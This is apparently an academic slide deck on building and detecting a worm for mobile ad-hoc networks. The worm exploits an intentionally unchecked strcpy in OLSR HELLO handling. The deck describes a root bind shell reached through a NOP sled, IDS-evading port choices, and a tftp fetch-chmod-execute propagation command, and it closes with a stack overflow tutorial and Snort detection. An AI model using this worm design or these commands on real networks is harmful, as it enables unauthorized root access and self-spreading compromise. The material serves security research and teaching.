Worm Creation & Detection in Mobile Ad-Hoc Networks

(MANETs)Jacob Lynch, Johnny Wong, Kevin Schmidt, Rick Jones

Table of Contents

• Introduction

• OLSR

• OLSR Worm

• OLSR Worm Detection

• Demonstration

• Conclusion & Future Work

Introduction

• Viruses– Require human interaction to spread

• Worms– Spread autonomously– Potential to spread much faster– Require automated defenses

Introduction

• Worms could wreak havoc in MANETs

• Routing protocol is possible attack vector

• Goals:– Study a worm propagating using routing

protocol– Develop a good way to detect such a worm

Common Link State Routing

My neighborhood

Step 1: Neighbor Discovery

Common Link State Routing

My neighborhood

Step 2: Topology Dissemination

Common Link State Routing

Step 2: Topology Dissemination

Common Link State RoutingRouting

Table=

F( + + + )

Step 3: Routing Table Construction

…

Topology Changes

• Wired Network • Wireless Network

Return

OLSR

• Optimization of classic link state algorithm– Multipoint relay (MPR)

• Only MPRs forward broadcast messages during flooding

• Only MPRs generate topology control messages

• Partial link state information is distributed

Multi-Point Relay (MPR)

Minimal (or near minimal) subset of 1-hop

neighbors, the union of which provides

symmetric links to all 2-hop neighbors

MPR Terminology

Reference Node

1-Hop, or “Neighbor” Set

2-Hop Set

MPR Candidates

MPR Selector

MPR Selection

Y

Y

YN

N

N

NY

MPR Selection

MPR Flooding Tree

MPR Flooding

OLSR HELLO Messages• Used by OLSR to advertise a machine

to next hop neighbors

• Machines actively accept OLSR messages on port 698 UDP

• Sent as broadcast with TTL=1

• Next-hop neighbors will form a symmetric link

• Vary in size depending on number of neighbors

• Packet size is included in the headers

• For our purposes, this length won’t be confirmed in the processing of the packet via the use of strcpy

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Reserved | Mtime | Willingness |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Link Code | Reserved | Link Message Size |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Neighbor Interface Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Neighbor Interface Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| |

. . .

| |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Link Code | Reserved | Link Message Size |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Neighbor Interface Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Neighbor Interface Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Forging a HELLO Message• The source of a HELLO message is not confirmed• Standard packet is unencrypted and simple in design• Our packet mimics those created naturally by the routing protocol, with extra

data appended to the end of the buffer• Malicious data will overflow a buffer on the target machine – contains NOP

sled, shellcode, and repeated return address• Message claims to be n bytes, but the full recv buffer contains n+x bytes –

copying this buffer without bounds checking (strcpy) will overflow the stack

The Exploit Code

• Return address jumps into the NOP sled

• Shellcode performs a few essential purposes– Creates a listening socket on port 43690 (this is not

originally our shellcode – ideally use a common port that might not trigger an IDS or something easily passed as valid such as 689)

– On connect, /bin/sh is run using execve– Because OLSR runs as root, the remote shell will

inherit these privileges giving the worm root access

Propagation1. Forged HELLO message sent to a target machine

2. Target is exploited and is listening on our port

3. Host establishes a socket with the target, sending bash commands to the shell:

cd /tmp;tftp <host> 500 -c get \"/tmp/johnny5\";chmod +x ./johnny5;./johnny5 <mode> <target> <history>;exit

4. Worm runs on the newly infected machine from square one and finds the next target

5. The worm is capable of leaving a backdoor open on any target machine

Propagation

A B

HELLOPT689

Open Ports:

•698 (OLSR)

•43690 (Worm - /bin/sh)

HELLO

Stack

NOP Sled

Shellcode

Return Address

Shell CmdsPt43690

Req WormTFTP

Host

WormBinary

Target-New host-

High

er A

dd

resse

s

Buffer2

Buffer1

EBP

EIP

Vars/bin/sh./johnny5

Target Discovery

• Most worms scan IPs on the internet for machines with specific vulnerabilities

• MANET machines are homogeneous, all are vulnerable

• Do not need to scan, can spread more deliberately:– Sniff packets, gather IP addresses– Examine routing table for IP addresses

Target Discovery

• We chose to examine the routing table– OLSR is proactive– Worm can be proactive too– May not be appropriate in AODV, for example

• Our worm has two different modes of target discovery

Target Discovery

• Mode 0:– The worm randomly infects one node, but

checks history to make sure it hasn’t been infected before

– May not want to check history in a low density network

• Mode 1:– The worm looks for a path to a specific

destination node; if no path is found, it randomly chooses its next hop

Target Discovery

• Opportunistic propagation

• Controlled propagation

• Choice depends on the purpose of the worm

Detection

• Buffer overflow attacks sends a long string of NOPs– \x90\x90\x90\x90\x90

• Snort has a rule that detects this transmission– Can be used to detect this worm

• Increased CPU usage

• Multilayered

Demonstration

Demonstration

Demonstration

Conclusion

• MANETs are a great environment for a worm– Homogenous setups– Easy target discovery– Energy constraints may prevent effective

defenses from being run

• Many ways for a worm to wreck a MANET

Future Work

• Vulnerabilities in other protocols

• How network density / mobility affects worm propagation

• Methods of stopping the spread of a detected worm

• Ways to improve this worm and countermeasures

References

• T. Clausen, P. Jacquet, A. Laouiti, P. Minet, P. Muhlethaler, A. Qayyam, L. Viennot, “Optimized Link State Routing (OLSR) RFC 3626,” http://hipercom.inria.fr/olsr/rfc3626.txt

• Aleph One, “Smashing The Stack For Fun And Profit,” http://www.maths.leeds.ac.uk/~read/bofs.html

• M. Zalewski, “Writing Internet Worms For Fun And Profit,” http://reactor-core.org/worms-for-fun-and-profit.html

• J. Erickson, “Hacking: The Art of Exploitation”• J. C. Foster, “Buffer Overflow Attacks: Detect, Exploit,

Prevent”• J. C. Foster, “Sockets, Shellcode, Porting, and Coding:

Reverse Engineering Exploits and Tool Coding for Security Professionals”

Buffer Overflows

• Two flavors:– Stack-based– Heap-based

• Stack-based buffer overflows are more easily exploited than heap-based

• We use a stack-based overflow in our worm

• Heap-based overflows are not covered

Stack-based Buffer Overflows

• Stack: contiguous block of data in memory

• Stack pointer points to the top of the stack, the bottom of the stack is a fixed address

• Logical frames are pushed and popped on/off the stack with function calls/returns

• Frames contain function parameters, local variables, and the data necessary to recover the previous frame

More Stack Information

• Stack grows downward toward lower memory address on Intel CPUs

• Important registers:– EIP: saved address that points to next instruction when function returns– ESP: current position on stack, used for push/pop operations– EBP: static point of reference for a function, used to access

variables/data with offset

Sample Stack

• This is the C codevoid function(int a, int b, int c) {

char buffer1[5];char buffer2[10]; }

void main() { function (1, 2, 3); }

• This is the assembly code for calling function( )Pushl $3Pushl $2Pushl $1Call function

Sample Stack Cont’d

• It is easy to see that if buffer1 is filled with more than 8 bytes, then the saved EBP and EIP will be overwritten.

strcpy

• strcpy(buffer1, “randomjunkstring”);

• buffer1 is only 5 bytes, but 16 bytes are being copied• strcpy doesn’t check length• buffer1 will overflow the saved EIP!

Usefulness

• The EIP has been overwritten• Program will crash with a segmentation fault ( address to return to is

missing)• Overwrite the EIP with a new address• Address points to a location in memory containing shellcode• The arbitrary shellcode will be run by the exploited application

Shellcode

• Basically assembly language

• Will be different depending on OS and CPU

• We basically compile the assembly by converting each character to hex:

• “printf(“\\x%02x”,((unsigned char*)code[i]);”

• Prints out unsigned hex integer for each character in code (assembly)

Crafting a Useful Buffer

• We will take our buffer of 16 bytes and use the first 12 for shellcode

• The last 4 bytes will overwrite the return address, and point to the beginning of the buffer where the shellcode starts

Problems

• We don’t know exactly where the EIP will be sometimes because of all the variables on the stack and because memory is allocated in 4 byte words

• Don’t know exactly where in memory the start of the buffer will be; depends on environment

NOP Sled

• NOP = no operation = \x90 (hex)• This is an operation that basically does nothing• If executed, the IP is basically just incremented• Now we can make a fairly large NOP “sled” and execute

NOPs until we reach our shellcode:

Return Address

• We don’t know exactly where EIP is in memory• We can just add more return addresses onto the end of

our buffer, in order to increase our chances of overwriting the EIP

• Number of NOPs + size of shellcode must be evenly divisible by 4